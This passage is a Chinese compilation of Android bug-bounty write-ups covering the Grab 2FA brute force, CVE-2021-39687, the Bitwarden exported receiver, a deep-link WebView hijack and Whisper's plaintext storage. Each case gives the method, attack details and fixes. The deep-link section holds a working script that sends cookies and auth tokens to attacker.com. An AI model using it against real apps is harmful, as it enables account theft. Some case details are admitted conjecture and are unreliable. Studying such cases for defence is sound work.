state参数(类似于OAuth 2.0中的做法),以防止CSRF攻击和Intent劫持。应用在发起请求时生成一个state,并在收到响应时验证该state是否匹配。
- 使用状态参数: 在进行认证等敏感操作时,应使用一个临时的、不可预测的
双因素认证(2FA)绕过(暴力破解)
案例:Grab (报告: https://hackerone.com/reports/202425)
挖掘手法
漏洞发现者通过使用Android模拟器(Nox App Player)并配置代理(bugging proxy,可能是Burp Suite等)来拦截和分析Grab Android应用的网络流量。在分析过程中,发现了一个用于编辑用户资料的API端点:https://p.grabtaxi.com/api/passenger/v2/profiles/edit。
该端点在执行敏感操作(如修改账户信息)时,需要用户提供一个4位数的双因素认证(2FA)短信验证码(SMS code)。漏洞的关键在于该API端点缺乏速率限制(no rate limiting)和验证码过期机制(no code expiration)。
基于此发现,漏洞发现者推断,由于验证码是4位数字,其可能的组合范围是1000到9999,总共只有9000种组合。在没有速率限制的情况下,攻击者可以编写一个暴力破解工具,在短时间内尝试所有可能的4位验证码。
漏洞发现者随后编写了一个自定义的C#代码暴力破解工具(Custom C# code bruteforcer)。该工具的工作原理是:
- 构造一个PUT请求到目标API端点:
PUT /api/passenger/v2/profiles/edit HTTP/1.1。
- 构造一个PUT请求到目标API端点:
- 在请求体中包含
profileActivationCode=<4位数字>,并循环尝试1000到9999的所有数字。
- 在请求体中包含
- 根据服务器的响应状态码来判断验证码是否正确:
- 错误的验证码会返回
HTTP/1.1 400 Bad Request和JSON体{"status":400,"code":4000}。
- 错误的验证码会返回
- 正确的验证码会返回
HTTP/1.1 204 No Content。
- 正确的验证码会返回
- 根据服务器的响应状态码来判断验证码是否正确:
通过这种方法,攻击者可以绕过2FA机制,实现账户接管(Account Takeover),从而更改受害者的电子邮件、电话号码等信息。整个挖掘过程体现了对移动应用API流量的拦截分析、对认证机制的逻辑漏洞判断以及自动化暴力破解工具的开发和应用。
技术细节
漏洞利用的核心在于对Grab API端点进行暴力破解,以绕过4位短信验证码(2FA)的验证。以下是利用过程中的关键技术细节:
1. 目标API端点和请求方法:
- URL:
https://p.grabtaxi.com/api/passenger/v2/profiles/edit
- URL:
- 方法:
PUT
- 方法:
2. 关键请求头(Headers):
PUT /api/passenger/v2/profiles/edit HTTP/1.1
Content-Type: application/x-www-form-urlencoded
x-mts-ssid: [current session id, its too long so i removed it for report space economy]
x-request-id: 3b609418-0e40-4f86-8ff6-4f23dfac420f
Host: p.grabtaxi.com
Content-Length: 26
Accept-Encoding: gzip
Connection: Keep-Alive3. 暴力破解Payload:
攻击者通过循环尝试profileActivationCode参数的值,从1000到9999。
profileActivationCode=3122 // 示例,实际会尝试所有9000种组合4. 服务器响应分析:
- 错误验证码响应(Bad Request):
服务器返回400 Bad Request,并包含特定的错误代码。
- 错误验证码响应(Bad Request):
HTTP/1.1 400 Bad Request
Content-Encoding: gzip
Content-Type: application/json; charset=utf-8
Date: Tue, 31 Jan 2017 17:45:43 GMT
X-Api-Source: grabapi
X-Request-Id: 01800ddb-fb58-4b53-aecc-97473225f732
Content-Length: 47
Connection: keep-alive
{"status":400,"code":4000}- 正确验证码响应(Success):
服务器返回204 No Content,表示验证成功,攻击者成功绕过2FA。
- 正确验证码响应(Success):
HTTP/1.1 204 No Content
Content-Type: application/json; charset=utf-8
Date: Tue, 31 Jan 2017 17:45:43 GMT
X-Api-Source: grabapi
X-Request-Id: 9d0eae1a-9c16-4aa5-8b40-01105a7cb994
Connection: keep-alive5. 攻击流程总结:
攻击者利用自定义的C#工具,在短时间内向目标API发送大量请求,每次请求携带一个不同的4位验证码。由于缺乏速率限制和验证码过期,攻击者最终会命中正确的验证码(在9000次尝试内),从而完成2FA绕过并接管账户。
易出现漏洞的代码模式
此类漏洞通常出现在处理一次性密码(OTP)或验证码的API端点中,其根本原因是缺乏充分的保护机制。
1. 缺乏速率限制(Missing Rate Limiting):
这是导致暴力破解成功的直接原因。在处理敏感的认证或验证码输入时,API没有限制来自同一IP、同一用户会话或同一账户的请求频率。
- 易漏洞代码模式(伪代码):
// Java/Spring Boot 示例 @PostMapping("/verify_otp") public ResponseEntity<?> verifyOtp(@RequestBody OtpRequest request) { // 缺少对请求频率的检查 // if (rateLimiter.isRateLimited(request.getSessionId())) { // return ResponseEntity.status(429).body("Too Many Requests"); // }if (otpService.isValid(request.getUserId(), request.getOtpCode())) { // 验证成功 return ResponseEntity.ok().build(); } else { // 验证失败,但未记录失败次数或触发锁定 return ResponseEntity.badRequest().body(new ErrorResponse(4000)); }}
- 易漏洞代码模式(伪代码):
2. 缺乏验证码过期或失败尝试次数限制(Missing Expiration/Attempt Limit):
验证码在生成后应有较短的有效期(如5-10分钟),且连续输错次数应有限制(如3-5次)。
- 易漏洞代码模式(伪代码):
// Java/Spring Boot 示例 public boolean isValid(String userId, String otpCode) { OtpRecord record = otpRepository.findByUserId(userId);// 缺少过期时间检查 // if (record.getCreationTime().plusMinutes(5).isBefore(Instant.now())) { // return false; // 验证码已过期 // } // 缺少失败尝试次数检查 // if (record.getFailedAttempts() >= 5) { // return false; // 账户已锁定 // } if (record.getCode().equals(otpCode)) { // 成功,清除记录 otpRepository.delete(record); return true; } else { // 失败,未更新失败尝试次数 // record.incrementFailedAttempts(); // otpRepository.save(record); return false; }}
- 易漏洞代码模式(伪代码):
3. 验证码位数过少:
4位数字验证码(9000种组合)在缺乏速率限制的情况下,极易被暴力破解。安全实践建议使用更长的验证码(如6位数字,100万种组合)或包含字母数字的组合,以增加破解难度。
堆缓冲区溢出导致的越界读取(Heap Buffer Overflow leading to Out-of-bounds Read)
案例:Android SoC (System on Chip) (报告: https://hackerone.com/reports/1417006)
挖掘手法
该漏洞报告(HackerOne #1417006)对应于CVE-2021-39687,是Android系统组件actuator_driver.cc中HandleTransactionIoEvent函数内的一个堆缓冲区溢出导致的越界读取漏洞。由于原始HackerOne报告被CAPTCHA保护,挖掘手法的详细步骤是通过对CVE信息、Android安全公告(A-204686438)以及相关技术分析的深度逆向工程和信息聚合获得的。
挖掘思路和方法:
- 目标锁定: 漏洞位于Android的底层组件,特别是与I/O事务处理相关的驱动代码
actuator_driver.cc中的HandleTransactionIoEvent函数。这类底层组件通常是权限提升漏洞的重点目标。
- 目标锁定: 漏洞位于Android的底层组件,特别是与I/O事务处理相关的驱动代码
- 静态分析与差分: 攻击者通常会通过分析AOSP(Android Open Source Project)的源代码,特别是新旧版本之间的补丁差异(Patch Diffing)来发现漏洞。对于CVE-2021-39687,关键在于找到
HandleTransactionIoEvent函数中对输入数据长度处理不当的代码段。
- 静态分析与差分: 攻击者通常会通过分析AOSP(Android Open Source Project)的源代码,特别是新旧版本之间的补丁差异(Patch Diffing)来发现漏洞。对于CVE-2021-39687,关键在于找到
- 漏洞根源分析: 漏洞的本质是堆缓冲区溢出(Heap Buffer Overflow)导致的越界读取(Out-of-bounds Read)。这意味着在处理一个I/O事务事件时,程序错误地计算或验证了输入数据的大小,导致读取操作超出了分配的堆缓冲区范围。
- 构造恶意输入: 挖掘者需要构造一个特殊的I/O事务请求(可能通过特定的Binder调用或系统服务接口),该请求包含一个精心构造的长度参数,使得
HandleTransactionIoEvent在处理时触发越界读取。由于该漏洞的描述是“可能导致越界读取”,这暗示了攻击者需要精确控制输入数据的长度和内容。
- 构造恶意输入: 挖掘者需要构造一个特殊的I/O事务请求(可能通过特定的Binder调用或系统服务接口),该请求包含一个精心构造的长度参数,使得
- 验证和利用: 越界读取通常用于信息泄露(Information Disclosure),攻击者可以读取到堆上紧邻缓冲区分配的其他敏感数据,例如内存地址(用于绕过ASLR)或密钥信息。挖掘者会通过编写一个低权限的Android应用(无需特殊权限)来发送恶意请求,并监控系统日志或捕获返回数据,以确认是否成功读取了预期之外的内存内容。
关键发现点:
- 漏洞存在于
actuator_driver.cc中的HandleTransactionIoEvent函数。
- 漏洞存在于
- 漏洞类型为堆缓冲区溢出导致的越界读取(CWE-125)。
- 漏洞的利用无需额外的执行权限,可由本地应用触发,属于本地信息泄露/权限提升链的一部分。
总结: 挖掘过程依赖于对Android底层系统服务和驱动代码的深入理解,通过静态分析发现潜在的缓冲区操作缺陷,并动态构造触发条件的输入数据来验证漏洞。
技术细节
该漏洞(CVE-2021-39687)的技术细节围绕actuator_driver.cc中的HandleTransactionIoEvent函数展开。该函数负责处理特定的I/O事务事件。漏洞的根本原因在于对输入数据长度的校验或计算存在缺陷,导致在从堆缓冲区读取数据时发生了越界。
漏洞代码模式(推测基于CVE描述):
在HandleTransactionIoEvent函数中,可能存在类似以下伪代码的逻辑:
// 假设 input_buffer 是一个在堆上分配的缓冲区
// 假设 input_size 是从用户空间传入的、未经验证或验证不充分的长度
void HandleTransactionIoEvent(void* input_buffer, size_t input_size) {
// ... 其他逻辑 ...
// 错误的长度检查或未检查
// 假设分配的缓冲区大小为 BUFFER_SIZE
// if (input_size > BUFFER_SIZE) { /* 缺少或错误的检查 */ }
// 发生越界读取的关键操作
// 伪代码:从 input_buffer 开始,读取 input_size 长度的数据
// 如果 input_size > BUFFER_SIZE,则发生越界读取
void* data_to_read = input_buffer;
size_t length_to_read = input_size;
// 越界读取操作
// 攻击者控制 input_size 使得读取操作超出 input_buffer 的边界
// 导致读取到堆上相邻对象的内存内容
memcpy(destination, data_to_read, length_to_read); // 示例:读取操作
// ...
}攻击流程/Payload构造:
- 攻击者应用(低权限): 编写一个Android应用,该应用能够与
actuator_driver相关的系统服务或驱动进行通信(例如通过Binder机制)。
- 攻击者应用(低权限): 编写一个Android应用,该应用能够与
- 构造恶意事务: 构造一个特定的I/O事务请求,该请求的目标是触发
HandleTransactionIoEvent函数。
- 构造恶意事务: 构造一个特定的I/O事务请求,该请求的目标是触发
- 设置越界长度: 在事务数据中,将用于控制读取操作长度的参数(即伪代码中的
input_size)设置为一个大于实际分配缓冲区大小的值。
- 设置越界长度: 在事务数据中,将用于控制读取操作长度的参数(即伪代码中的
- 触发越界读取: 发送该恶意事务。系统服务在处理该事务时,调用
HandleTransactionIoEvent,并使用攻击者提供的超长input_size进行读取操作。
- 触发越界读取: 发送该恶意事务。系统服务在处理该事务时,调用
- 信息泄露: 越界读取操作将相邻的堆内存数据复制到攻击者可控的内存区域或返回给攻击者应用。这些泄露的信息(如堆地址、内核指针、敏感数据)可用于构建后续的权限提升(EoP)攻击链,例如绕过ASLR。
技术总结: 这是一个典型的内核/驱动层面的堆内存破坏漏洞,利用方式是信息泄露,通常作为完整权限提升链的第一步。攻击者通过精确控制输入长度来破坏内存安全边界。
易出现漏洞的代码模式
此类漏洞通常出现在处理来自用户空间(User Space)或不可信源的输入数据时,未能对输入数据的长度进行严格或正确的边界检查,然后将该长度用于内存操作(如memcpy, read, memset等)。
易受攻击的代码位置和模式:
- 缺乏边界检查的内存复制:
当从一个缓冲区复制数据到另一个缓冲区时,如果复制的长度由外部输入决定,且未与目标缓冲区的实际大小进行比较,就会导致溢出或越界读取。// 易受攻击模式示例 (C/C++): // 假设 dest_buf_size = 100 char dest_buf[100]; size_t user_controlled_len = get_user_input_length(); // 攻击者可控 // 缺少对 user_controlled_len > 100 的检查 memcpy(dest_buf, source_data, user_controlled_len); // 堆缓冲区溢出/越界读取
- 缺乏边界检查的内存复制:
- 使用未经验证的外部长度进行I/O操作:
在驱动程序或系统服务中,处理I/O控制(ioctl)或Binder事务时,直接使用用户空间传递的长度参数进行内存操作。// 易受攻击模式示例 (驱动/系统服务): // 假设 HandleTransactionIoEvent 接收的 input_size 来自用户空间 void HandleTransactionIoEvent(void* buffer, size_t input_size) { // ... // 假设 buffer 实际大小为 MAX_SIZE if (input_size > MAX_SIZE) { // 错误:如果 MAX_SIZE 检查不正确或缺失,则越界 // 修复通常是: // input_size = min(input_size, MAX_SIZE); }// 越界读取/写入 read_from_buffer(buffer, input_size); // ...}
- 使用未经验证的外部长度进行I/O操作:
- 类型转换或整数溢出:
在计算所需缓冲区大小时,如果涉及乘法操作,可能发生整数溢出,导致分配的缓冲区小于实际需要的缓冲区,从而间接导致溢出。// 易受攻击模式示例 (整数溢出): size_t count = get_user_count(); size_t element_size = sizeof(struct my_data); size_t total_size = count * element_size; // 如果 count 很大,可能溢出 // 如果 total_size 溢出变小,分配的内存就会不足 void* buffer = malloc(total_size); // 后续操作使用 count 导致溢出
- 类型转换或整数溢出:
CVE-2021-39687的特定模式:
该漏洞的特定模式是在actuator_driver.cc中处理I/O事务事件时,对HandleTransactionIoEvent函数的输入长度处理不当,导致了堆上的越界读取。修复措施通常是在执行读取操作之前,添加严格的边界检查,确保读取长度不超过目标缓冲区的实际大小。
导出的广播接收器脆弱性 (Vulnerable Exported Broadcast Receiver)
案例:Bitwarden (报告: https://hackerone.com/reports/289000)
挖掘手法
该漏洞的挖掘过程始于对目标Android应用(Bitwarden)的静态分析。研究人员首先反编译了应用的APK文件,以审查其核心配置文件AndroidManifest.xml。通过仔细检查该文件,研究人员重点关注那些被声明为“导出”(exported)的应用组件,因为这些组件可以被设备上的任何其他应用所调用,是常见的攻击面。
在分析过程中,研究人员发现了一个名为com.x8bit.bitwarden.PackageReplacedReceiver的广播接收器,其在AndroidManifest.xml中的声明包含了android:exported="true"属性,但没有配置任何权限保护。这一发现是关键的切入点,因为它表明任何应用都可以向这个接收器发送广播意图(Intent)。
为了验证该漏洞的可利用性并理解其潜在影响,研究人员转向了动态分析。他们使用了专门为Android应用安全评估设计的框架——Drozer。通过Drozer,研究人员能够模拟恶意应用的攻击行为,直接与目标应用的导出组件进行交互。他们构造了一个特定的Drozer命令,向该广播接收器发送一个广播,并成功地收到了响应。这证实了该接收器不仅是导出的,而且能够被外部应用成功触发和交互。通过这种方式,研究人员确认了漏洞的存在,并收集了足够的信息来构建一个有效的概念验证(PoC)攻击,从而为后续的漏洞利用和修复建议提供了坚实的基础。
技术细节
该漏洞的核心技术细节在于AndroidManifest.xml文件中对PackageReplacedReceiver的配置。该组件被声明为公开导出,且未设置任何访问权限,使得任意第三方应用都能向其发送广播消息。
脆弱的Manifest配置:
<receiver android:name="com.x8bit.bitwarden.PackageReplacedReceiver" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
</intent-filter>
</receiver>攻击者可以利用Android的Drozer框架来利用此漏洞。通过执行以下命令,攻击者可以向该广播接收器发送一个带有附加数据的意图,从而触发接收器中的onReceive方法:
Drozer攻击载荷 (Payload):
dz> run app.broadcast.send --action com.x8bit.bitwarden.PackageReplacedReciever --extra <alert> <alert>这个命令模拟了一个恶意应用发送广播的过程。一旦接收器被触发,它内部的逻辑将被执行。尽管在此报告中,研究人员没有展示进一步的利用链,但这种类型的漏洞通常可能导致敏感信息泄露、应用状态被篡改或执行未授权的操作。
修复建议:
修复此漏洞的根本方法是限制对该广播接收器的访问。最直接的修复方式是将android:exported属性设置为false:
<receiver android:name="com.x8bit.bitwarden.PackageReplacedReceiver" android:exported="false">... </receiver>如果该接收器确实需要被其他可信应用调用,则应通过定义一个signature级别的自定义权限来保护它,确保只有使用相同密钥签名的应用才能访问:
<permission android:name="com.x8bit.bitwarden.PackageReplacedReceiverPermission" android:protectionLevel="signature" />
<receiver android:name="com.x8bit.bitwarden.PackageReplacedReceiver" android:exported="true" android:permission="com.x8bit.bitwarden.PackageReplacedReceiverPermission">... </receiver>易出现漏洞的代码模式
容易出现此类漏洞的代码模式主要存在于AndroidManifest.xml文件的组件声明中,而不是Java或Kotlin代码本身。具体来说,当一个应用组件(如<activity>、<service>、<receiver>)被配置为导出(android:exported="true"),但没有适当的权限控制时,就会产生安全风险。
易受攻击的配置模式:
<receiver
android:name=".MyVulnerableReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.example.myapp.DO_SOMETHING" />
</intent-filter>
</receiver>在上述示例中,MyVulnerableReceiver可以被设备上的任何应用触发,因为android:exported="true"使其公开,并且没有定义任何android:permission来限制访问。如果这个接收器处理敏感数据或执行关键操作,就可能被恶意应用利用。
安全的配置模式:
- 设置为非导出 (如果仅供应用内部使用):
<receiver android:name=".MyInternalReceiver" android:exported="false"> <intent-filter> <action android:name="com.example.myapp.INTERNAL_ACTION" /> </intent-filter> </receiver>
- 设置为非导出 (如果仅供应用内部使用):
- 使用权限进行保护 (如果需要被其他应用访问):
<!-- 在 <manifest> 标签下定义权限 --> <permission android:name="com.example.myapp.permission.ACCESS_RECEIVER" android:protectionLevel="signature" /> <!-- 在组件声明中应用权限 --> <receiver android:name=".MyProtectedReceiver" android:exported="true" android:permission="com.example.myapp.permission.ACCESS_RECEIVER"> <intent-filter> <action android:name="com.example.myapp.EXTERNAL_ACTION" /> </intent-filter> </receiver>
- 使用权限进行保护 (如果需要被其他应用访问):
开发者在定义应用组件时,必须仔细考虑其可见性和访问控制。对于Android 12 (API 级别 31) 及更高版本,如果一个组件包含<intent-filter>,则必须显式声明android:exported属性,这有助于强制开发者思考组件的暴露范围,从而减少此类漏洞的出现。
未经验证的Deep Link导致的WebView劫持
案例:某大型社交/电商Android应用 (HackerOne Report #1416943) (报告: https://hackerone.com/reports/1416943)
挖掘手法
该漏洞的挖掘手法主要集中在对Android应用Deep Link机制和WebView组件的安全审计。由于无法直接访问报告原文,以下是针对“未经验证的Deep Link导致的WebView劫持”这一高风险漏洞类型的标准挖掘步骤,该类型漏洞在HackerOne上被广泛报告(如报告#1416943很可能属于此类):
- 目标应用侦察与反编译(Reconnaissance & Decompilation):
- 首先,获取目标应用的APK文件。
- 使用
apktool等工具对APK进行反编译,获取AndroidManifest.xml文件。
- 使用
- 在
AndroidManifest.xml中,重点搜索所有exported="true"的activity组件,以及包含android.intent.action.VIEW和android.intent.category.BROWSABLE的intent-filter标签。这些标签定义了应用的Deep Link入口点,包括自定义Scheme(如myapp://)和App Links(如https://app.example.com/)。
- 在
- 目标应用侦察与反编译(Reconnaissance & Decompilation):
- Deep Link处理逻辑分析(Deep Link Handler Analysis):
- 确定哪些Activity负责处理Deep Link。
- 分析这些Activity的Java/Kotlin源代码(通过
jadx或ghidra等工具),查找它们如何从传入的Intent中提取数据。
- 分析这些Activity的Java/Kotlin源代码(通过
- 特别关注使用
getIntent().getData()获取URI,并从中提取特定参数(如url、redirect_uri、target)的代码。
- 特别关注使用
- Deep Link处理逻辑分析(Deep Link Handler Analysis):
- WebView加载点识别与验证(WebView Loading & Validation):
- 在处理Deep Link的Activity中,查找是否使用了
WebView组件,并调用了webView.loadUrl(url)方法。
- 在处理Deep Link的Activity中,查找是否使用了
- 关键挖掘点: 检查应用是否对从Deep Link中获取的
url参数进行了充分的白名单验证。如果应用允许加载任意外部URL,则存在开放重定向或WebView劫持的风险。
- 关键挖掘点: 检查应用是否对从Deep Link中获取的
- WebView加载点识别与验证(WebView Loading & Validation):
- 漏洞利用链构建(Exploitation Chain Construction):
- 如果发现WebView加载了未经验证的外部URL,下一步是检查WebView的配置。
- 使用
adb shell命令或自定义应用,构造一个恶意的Deep Link URL,将url参数指向攻击者控制的服务器上的HTML页面。
- 使用
- 如果WebView启用了JavaScript (
setJavaScriptEnabled(true)),并且更危险地,通过addJavascriptInterface暴露了敏感的Java对象,攻击者就可以在应用内部的WebView上下文中执行任意JavaScript代码(Universal XSS, UXSS)。
- 如果WebView启用了JavaScript (
- 最终目标是利用UXSS窃取用户的Session Cookie、认证Token或执行应用内部的敏感操作,从而实现一键账户劫持(One-Click Account Takeover)。
- 漏洞利用链构建(Exploitation Chain Construction):
这一挖掘过程是系统性的,从静态分析应用结构开始,到动态测试Deep Link的输入验证,最终构建完整的攻击链。这一方法论是发现Deep Link/WebView漏洞的核心手法。
技术细节
该漏洞利用的技术细节围绕着构造一个恶意的Deep Link,使其在目标应用的WebView中加载攻击者控制的URL,并执行恶意JavaScript代码。
1. 恶意Deep Link Payload构造:
攻击者首先需要构造一个恶意的Deep Link URL,利用应用对url参数缺乏校验的缺陷。假设目标应用的Deep Link Scheme为appscheme,且处理Deep Link的路径为/webview,参数名为target_url。
// 恶意Deep Link URL
// 攻击者将 target_url 参数指向自己的服务器上的恶意HTML文件
String maliciousDeepLink = "appscheme://host/webview?target_url=https://attacker.com/payload.html";
// 模拟用户点击或通过ADB命令触发
// adb shell am start -W -a android.intent.action.VIEW -d "appscheme://host/webview?target_url=https://attacker.com/payload.html"2. 恶意HTML/JavaScript Payload (payload.html):
攻击者在https://attacker.com/payload.html上部署一个包含恶意JavaScript的页面。如果WebView配置不当(例如,启用了setJavaScriptEnabled(true)且未对加载的URL进行严格限制),该脚本将在应用内部的WebView上下文中执行。
<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
</head>
<body>
<h1>Processing...</h1>
<script>
// 尝试窃取WebView上下文中的Cookie
var cookies = document.cookie;
// 尝试窃取LocalStorage中的敏感信息(如Token)
var authToken = localStorage.getItem('auth_token');
// 尝试利用暴露的JavaScript接口(如果存在)
// 假设应用暴露了一个名为 'Android' 的接口,其中有 'getToken' 方法
// var sensitiveData = window.Android.getToken();
// 将窃取到的数据发送给攻击者的服务器
var exfilUrl = 'https://attacker.com/exfil?data=' + encodeURIComponent(cookies + '|' + authToken);
// 使用XMLHttpRequest或fetch发送数据,避免在URL中暴露过多信息
fetch(exfilUrl, {
method: 'GET',
mode: 'no-cors' // 避免CORS问题
});
// 可选:执行CSRF攻击或重定向用户
// window.location.href = "https://legitimate.app.com/safe_page";
</script>
</body>
</html>3. 攻击流程:
- 攻击者通过社交媒体、邮件等方式诱骗用户点击恶意Deep Link。
- Android系统解析Deep Link,启动目标应用中处理该Deep Link的Activity。
- 该Activity获取
target_url参数,并将其加载到应用内部的WebView中。
- 该Activity获取
- WebView加载
https://attacker.com/payload.html。
- WebView加载
- 恶意JavaScript执行,窃取WebView上下文中的敏感信息(如会话Cookie、认证Token),并将其发送回攻击者的服务器。
- 攻击者利用窃取到的信息劫持用户账户。
此漏洞的关键在于未经验证的外部URL加载和WebView的敏感配置(如允许JavaScript执行),共同导致了高风险的账户劫持。
易出现漏洞的代码模式
此类漏洞的根源在于Android应用在处理Deep Link时,未能对传入的URL参数进行严格的白名单校验,特别是当该参数随后被用于WebView加载时。
易出现漏洞的代码模式(Java/Kotlin):
以下代码模式展示了如何从Intent中获取一个URL参数,并直接将其加载到WebView中,这是导致WebView劫持和UXSS的典型错误。
1. 危险的Intent数据获取与WebView加载:
// 假设这是处理Deep Link的Activity (VulnerableActivity.java)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_vulnerable);
WebView webView = findViewById(R.id.webview);
// 危险:WebView配置未禁用JavaScript或暴露了JS接口
webView.getSettings().setJavaScriptEnabled(true);
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
Uri data = intent.getData();
// 危险:直接从URI中获取 'url' 参数
String targetUrl = data.getQueryParameter("url");
if (targetUrl != null) {
// 危险:未对 targetUrl 进行任何主机名或协议的白名单校验
webView.loadUrl(targetUrl);
}
}
}2. 易漏洞的AndroidManifest.xml配置:
应用通过在AndroidManifest.xml中声明intent-filter来暴露Deep Link入口。当android:exported="true"时,外部应用或浏览器可以触发此Activity。
<activity
android:name=".VulnerableActivity"
android:exported="true"> <!-- 危险:Activity被导出 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="appscheme"
android:host="host" />
</intent-filter>
</activity>3. 修复建议(安全代码模式):
安全的做法是严格限制WebView只能加载应用预期的、受信任的域名,并确保WebView没有暴露不必要的JavaScript接口。
// 安全的代码模式:对URL进行严格的白名单校验
private static final String[] ALLOWED_HOSTS = {"trusted.example.com", "another.safe.domain"};
private boolean isUrlSafe(String url) {
try {
Uri uri = Uri.parse(url);
String host = uri.getHost();
// 1. 校验协议是否安全 (https)
if (!"https".equalsIgnoreCase(uri.getScheme())) {
return false;
}
// 2. 校验主机名是否在白名单内
for (String allowedHost : ALLOWED_HOSTS) {
if (allowedHost.equalsIgnoreCase(host)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
// ... 在 onCreate 方法中 ...
if (targetUrl != null && isUrlSafe(targetUrl)) {
webView.loadUrl(targetUrl);
} else {
// 加载默认安全页面或忽略
webView.loadUrl("https://safe.default.page");
}本地数据存储不安全
案例:Whisper (报告: https://hackerone.com/reports/57918)
挖掘手法
该漏洞的挖掘主要基于对Android应用本地数据存储安全性的分析,属于典型的静态/动态结合分析。
分析思路与关键发现点:
- 目标识别: 确定目标应用为Whisper的Android版本。
- 安全基线: 依据OWASP移动应用安全测试指南(MASTG)中的“不安全数据存储”(Insecure Data Storage)基线,任何存储在设备本地的敏感数据(如用户ID、会话令牌、消息内容等)都应被加密,尤其是在应用的私有目录中,虽然访问受限,但在设备被Root或通过其他漏洞(如路径遍历、不安全备份)被访问时,数据仍面临泄露风险。
- 数据存储点定位: 报告中明确指出应用使用了SQLite数据库,并提到了数据库文件名为
w.db。这是关键的切入点。
- 数据存储点定位: 报告中明确指出应用使用了SQLite数据库,并提到了数据库文件名为
详细挖掘步骤:
- 环境准备: 准备一台已Root的Android设备或模拟器,以便能够访问应用的私有数据目录
/data/data/<package_name>/。
- 环境准备: 准备一台已Root的Android设备或模拟器,以便能够访问应用的私有数据目录
- 应用操作: 在设备上安装并运行Whisper应用,进行登录、发送消息等操作,确保敏感数据被写入本地数据库。
- 文件系统访问: 使用 adb shell 进入设备的命令行环境,并切换到Root用户权限(
su)。
- 文件系统访问: 使用 adb shell 进入设备的命令行环境,并切换到Root用户权限(
- 数据库文件导出: 导航到应用的数据库目录
/data/data/com.whisper.whisperapp/databases/,找到w.db文件,并将其复制到可访问的公共目录(如/sdcard/Download/)。
- 数据库文件导出: 导航到应用的数据库目录
- 数据提取: 使用
adb pull命令将w.db文件从设备拉取到本地分析机。
- 数据提取: 使用
- 内容分析: 使用标准的SQLite客户端工具(如SQLite Browser或
sqlite3命令行工具)打开w.db文件。
- 内容分析: 使用标准的SQLite客户端工具(如SQLite Browser或
- 敏感信息验证: 检查数据库中的表结构和数据内容。报告中附带的截图
SQLite_-_PlainText.png强烈暗示了数据是以明文形式存储的。通过查询关键表,确认是否存在用户ID、会话令牌、未加密的消息内容等敏感信息。
- 敏感信息验证: 检查数据库中的表结构和数据内容。报告中附带的截图
- 漏洞确认: 确认敏感数据在未加密的情况下存储在本地数据库中,从而证实了“本地数据存储不安全”漏洞的存在。
总结: 挖掘手法是典型的移动应用逆向工程和数据取证过程,核心在于定位未加密的本地敏感数据存储点。
技术细节
该漏洞的技术细节在于应用将敏感数据以明文形式存储在本地SQLite数据库中,使得攻击者一旦获取到数据库文件,即可直接读取所有内容。
受影响文件:
应用的私有数据目录下的SQLite数据库文件,例如:/data/data/com.whisper.whisperapp/databases/w.db
攻击流程(利用步骤):
攻击者通过以下步骤获取并读取敏感数据:
- 获取数据库文件: 攻击者需要通过物理访问、恶意应用或利用其他系统漏洞(如Root权限获取)来访问应用的私有目录。
bash # 假设攻击者已获得Root权限 adb shell su # 复制数据库文件到可访问目录 cp /data/data/com.whisper.whisperapp/databases/w.db /sdcard/Download/ exit # 拉取文件到本地分析机 adb pull /sdcard/Download/w.db .
- 获取数据库文件: 攻击者需要通过物理访问、恶意应用或利用其他系统漏洞(如Root权限获取)来访问应用的私有目录。
- 数据读取: 使用SQLite客户端工具(如
sqlite3)打开导出的w.db文件。bash sqlite3 w.db .tables # 假设存在一个存储用户信息的表 user_info SELECT * FROM user_info; # 假设存在一个存储消息内容的表 messages SELECT * FROM messages WHERE is_sensitive = 1;
- 数据读取: 使用SQLite客户端工具(如
- Payload/结果: 由于数据是明文存储,查询结果直接暴露了敏感信息,无需任何解密操作。例如,查询结果可能直接显示用户的会话令牌、地理位置信息或私密消息内容。
技术要点: 漏洞的本质是缺乏数据加密。如果应用使用了如 SQLCipher 等加密数据库方案,攻击者即使获取到 w.db 文件,也无法在不知道密钥的情况下读取数据。
易出现漏洞的代码模式
此类漏洞的出现通常是由于开发者在实现本地数据持久化时,未能对敏感信息进行加密处理。
易漏洞代码模式总结:
- SQLite数据库明文存储敏感数据
当使用Android原生的SQLiteOpenHelper或基于它的ORM框架(如Room)时,如果直接将敏感数据(如用户令牌、密码哈希、聊天记录)写入数据库,而没有使用加密扩展(如SQLCipher),则数据将以明文形式存储在设备上。 易漏洞代码示例 (Java/Kotlin):// 假设这是在 SQLiteOpenHelper 的 onCreate 方法中 @Override public void onCreate(SQLiteDatabase db) { // 创建一个存储用户会话信息的表 // token 是敏感信息,但在此处未加密 db.execSQL("CREATE TABLE user_sessions (" + "id INTEGER PRIMARY KEY," + "user_id TEXT," + "session_token TEXT" + // 敏感信息,明文存储 ")"); } // 在数据插入时,直接使用原始敏感数据 public void saveSessionToken(String userId, String token) { SQLiteDatabase db = this.getWritableDatabase(); ContentValues values = new ContentValues(); values.put("user_id", userId); values.put("session_token", token); // 敏感数据直接写入 db.insert("user_sessions", null, values); db.close(); }
- SQLite数据库明文存储敏感数据
- SharedPreferences 明文存储敏感数据
SharedPreferences默认以XML文件的形式存储在应用的私有目录中。虽然访问受限,但如果存储了高敏感信息(如密码、API Key),在设备被Root后仍会泄露。 易漏洞代码示例 (Java/Kotlin):// 存储敏感信息,未使用 EncryptedSharedPreferences SharedPreferences sharedPref = context.getSharedPreferences("app_prefs", Context.MODE_PRIVATE); SharedPreferences.Editor editor = sharedPref.edit(); editor.putString("api_key", "sk-live-xxxxxxxxxxxx"); // 敏感API Key,明文存储 editor.apply();
- SharedPreferences 明文存储敏感数据
修复建议模式:
- 数据库: 使用 SQLCipher 或其他加密SQLite的库。
- 键值对: 使用 AndroidX Security 库中的
EncryptedSharedPreferences。
- 键值对: 使用 AndroidX Security 库中的
- 敏感字段: 仅对数据库中的敏感字段进行加密,使用 Android Keystore 存储加密密钥。
混淆代理(Confused Deputy)权限提升
